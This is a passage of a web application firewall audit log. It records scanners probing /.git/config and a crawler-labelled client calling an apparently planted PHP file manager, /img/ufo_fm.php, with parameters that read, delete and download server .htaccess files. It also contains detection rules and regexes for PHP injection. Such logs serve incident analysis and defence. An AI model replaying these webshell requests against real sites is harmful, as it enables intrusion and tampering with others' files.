Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ns2.happydigital.ro"] [uri "/.git/config"] [unique_id "aqbCMkhjHs68UzErry1KaQAAAIc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ns2.happydigital.ro"] [uri "/.git/config"] [unique_id "aqbCMkhjHs68UzErry1KaQAAAIc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ns2.happydigital.ro"] [uri "/.git/config"] [unique_id "aqbCMkhjHs68UzErry1KaQAAAIc"]
Stopwatch: 1789313586770418 39280 (- - -)
Stopwatch2: 1789313586770418 39280; combined=35604, p1=252, p2=35032, p3=201, p4=13, p5=106, sr=117, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--63d2b006-Z--

--8ab0b52f-A--
[13/Sep/2026:18:33:07.064675 +0300] aqbCMldqBhgxDSpG7haK@wAAAEc 154.54.100.175 40360 127.0.0.1 7081
--8ab0b52f-B--
GET /.git/config HTTP/1.1
Host: ns2.happy-digital.ro
X-Real-IP: 154.54.100.175
User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 635) like Gecko
Accept-Charset: utf-8
Accept-Encoding: gzip

--8ab0b52f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--8ab0b52f-E--

--8ab0b52f-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ns2.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqbCMldqBhgxDSpG7haK@wAAAEc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ns2.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqbCMldqBhgxDSpG7haK@wAAAEc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ns2.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqbCMldqBhgxDSpG7haK@wAAAEc"]
Stopwatch: 1789313586942061 122659 (- - -)
Stopwatch2: 1789313586942061 122659; combined=121412, p1=261, p2=120993, p3=95, p4=6, p5=56, sr=92, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8ab0b52f-Z--

--e859460f-A--
[13/Sep/2026:18:33:08.022656 +0300] aqbCM-ut1GUrjaX0wO428gAAANc 154.54.100.175 40364 127.0.0.1 7081
--e859460f-B--
GET /.git/config HTTP/1.1
Host: ns2.happydigital.co.uk
X-Real-IP: 154.54.100.175
User-Agent: HTC_Dream Mozilla/5.0 (Linux; U; Android 1.5; en-ca; Build/CUPCAKE) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1
Accept-Charset: utf-8
Accept-Encoding: gzip

--e859460f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--e859460f-E--

--e859460f-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ns2.happydigital.co.uk"] [uri "/.git/config"] [unique_id "aqbCM-ut1GUrjaX0wO428gAAANc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ns2.happydigital.co.uk"] [uri "/.git/config"] [unique_id "aqbCM-ut1GUrjaX0wO428gAAANc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ns2.happydigital.co.uk"] [uri "/.git/config"] [unique_id "aqbCM-ut1GUrjaX0wO428gAAANc"]
Stopwatch: 1789313587677935 344767 (- - -)
Stopwatch2: 1789313587677935 344767; combined=343007, p1=975, p2=341884, p3=84, p4=8, p5=56, sr=118, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e859460f-Z--

--e3ad2329-A--
[13/Sep/2026:18:36:02.669855 +0300] aqbC4vut1GUrjaX0wO43IAAAAMo 216.73.216.41 56154 127.0.0.1 7081
--e3ad2329-B--
GET /img/.$frameSrc. HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate

--e3ad2329-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: d20b654c-a584-4142-80ec-446bf93cc3c2
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e3ad2329-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:404"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Message: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=7185, p1=271, p2=6914, p3=0, p4=0, p5=0, sr=105, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=7185, p1=271, p2=6914, p3=0, p4=0, p5=0, sr=105, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"] [hostname "www.ihelp.ro"] [uri "/webroot/index.php"] [unique_id "aqbC4vut1GUrjaX0wO43IAAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313762007222 662691 (- - -)
Stopwatch2: 1789313762007222 662691; combined=7662, p1=271, p2=6914, p3=0, p4=0, p5=477, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--e3ad2329-Z--

--197bd877-A--
[13/Sep/2026:18:36:06.717560 +0300] aqbC5vut1GUrjaX0wO43NwAAAM0 216.73.216.41 57998 127.0.0.1 7081
--197bd877-B--
GET /img/ufo_fm.php?p=%27+.+urlencode%28%24bp%29+.+%27 HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate

--197bd877-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--197bd877-H--
Message: Warning. Pattern match "(?i)\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "63"] [id "77134464"] [msg "IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||T:APACHE||MVN:ARGS:p||MV:' . urlencode($bp) . '||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"]
Message: Warning. Pattern match "(?i)\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "19"] [id "77134463"] [msg "IM360 WAF: PHP Injection Attack: High-Risk PHP Function Call Found||T:APACHE||MVN:ARGS:p||MV:' . urlencode($bp) . '||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "NOTICE"] [tag "service_o"] [tag "service_i360"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?i)\\\\\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "63"] [id "77134464"] [msg "IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||T:APACHE||MVN:ARGS:p||MV:' . urlencode($bp) . '||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbC5vut1GUrjaX0wO43NwAAAM0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?i)\\\\\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "19"] [id "77134463"] [msg "IM360 WAF: PHP Injection Attack: High-Risk PHP Function Call Found||T:APACHE||MVN:ARGS:p||MV:' . urlencode($bp) . '||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "NOTICE"] [tag "service_o"] [tag "service_i360"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbC5vut1GUrjaX0wO43NwAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313766679381 38383 (- - -)
Stopwatch2: 1789313766679381 38383; combined=34287, p1=260, p2=33914, p3=0, p4=0, p5=112, sr=101, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--197bd877-Z--

--52cb0532-A--
[13/Sep/2026:18:36:16.904340 +0300] aqbC8EhjHs68UzErry1KiQAAAII 216.73.216.41 47208 127.0.0.1 7081
--52cb0532-B--
GET /img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate

--52cb0532-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--52cb0532-H--
Message: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbC8EhjHs68UzErry1KiQAAAII"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313776862105 42291 (- - -)
Stopwatch2: 1789313776862105 42291; combined=36971, p1=234, p2=36665, p3=0, p4=0, p5=71, sr=107, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--52cb0532-Z--

--4e08e17c-A--
[13/Sep/2026:18:36:37.391070 +0300] aqbDBUhjHs68UzErry1KiwAAAIw 216.73.216.41 55622 127.0.0.1 7081
--4e08e17c-B--
GET /img/ufo_fm.php?p=%27.urlencode%28%24acc%29.%27 HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate

--4e08e17c-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--4e08e17c-H--
Message: Warning. Pattern match "(?i)\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "63"] [id "77134464"] [msg "IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||T:APACHE||MVN:ARGS:p||MV:'.urlencode($acc).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"]
Message: Warning. Pattern match "(?i)\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "19"] [id "77134463"] [msg "IM360 WAF: PHP Injection Attack: High-Risk PHP Function Call Found||T:APACHE||MVN:ARGS:p||MV:'.urlencode($acc).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "NOTICE"] [tag "service_o"] [tag "service_i360"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?i)\\\\\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "63"] [id "77134464"] [msg "IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||T:APACHE||MVN:ARGS:p||MV:'.urlencode($acc).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDBUhjHs68UzErry1KiwAAAIw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?i)\\\\\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "19"] [id "77134463"] [msg "IM360 WAF: PHP Injection Attack: High-Risk PHP Function Call Found||T:APACHE||MVN:ARGS:p||MV:'.urlencode($acc).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "NOTICE"] [tag "service_o"] [tag "service_i360"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDBUhjHs68UzErry1KiwAAAIw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313797341406 49731 (- - -)
Stopwatch2: 1789313797341406 49731; combined=37599, p1=245, p2=37262, p3=0, p4=0, p5=91, sr=90, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--4e08e17c-Z--

--909ab133-A--
[13/Sep/2026:18:36:55.448747 +0300] aqbDF-ut1GUrjaX0wO43ewAAANA 216.73.216.41 39392 127.0.0.1 7081
--909ab133-B--
GET /img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs&rm=1 HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate

--909ab133-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--909ab133-H--
Message: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs&rm=1||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs&rm=1||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDF-ut1GUrjaX0wO43ewAAANA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313815413233 35561 (- - -)
Stopwatch2: 1789313815413233 35561; combined=32810, p1=240, p2=32523, p3=0, p4=0, p5=46, sr=107, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--909ab133-Z--

--7fa74b12-A--
[13/Sep/2026:18:37:05.709144 +0300] aqbDIfut1GUrjaX0wO43kgAAAMA 216.73.216.41 37704 127.0.0.1 7081
--7fa74b12-B--
GET /img/ufo_fm.php?dl=1&f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate

--7fa74b12-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--7fa74b12-H--
Message: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?dl=1&f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?dl=1&f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDIfut1GUrjaX0wO43kgAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313825670051 39141 (- - -)
Stopwatch2: 1789313825670051 39141; combined=34615, p1=221, p2=34344, p3=0, p4=0, p5=50, sr=108, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--7fa74b12-Z--

--5caaea05-A--
[13/Sep/2026:18:37:25.736158 +0300] aqbDNUhjHs68UzErry1KmAAAAI8 216.73.216.41 54378 127.0.0.1 7081
--5caaea05-B--
GET /img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate

--5caaea05-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--5caaea05-H--
